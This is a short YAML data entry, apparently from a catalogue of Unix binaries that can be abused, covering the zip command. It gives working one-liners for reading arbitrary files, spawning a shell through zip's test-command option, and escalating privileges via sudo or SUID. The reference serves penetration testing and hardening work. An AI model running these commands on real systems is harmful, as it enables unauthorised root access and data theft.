--- functions: file-read: - code: | LFILE=file-to-read zip /tmp/temp.zip $LFILE unzip -p /tmp/temp.zip < /dev/stdout shell: - code: | TF=$(mktemp -u) zip $TF /etc/hosts -T -TT 'sh #' rm $TF sudo: - code: | TF=$(mktemp -u) sudo zip $TF /etc/hosts -T -TT 'sh #' sudo rm $TF limited-suid: - code: | TF=$(mktemp -u) ./zip $TF /etc/hosts -T -TT 'sh #' sudo rm $TF ---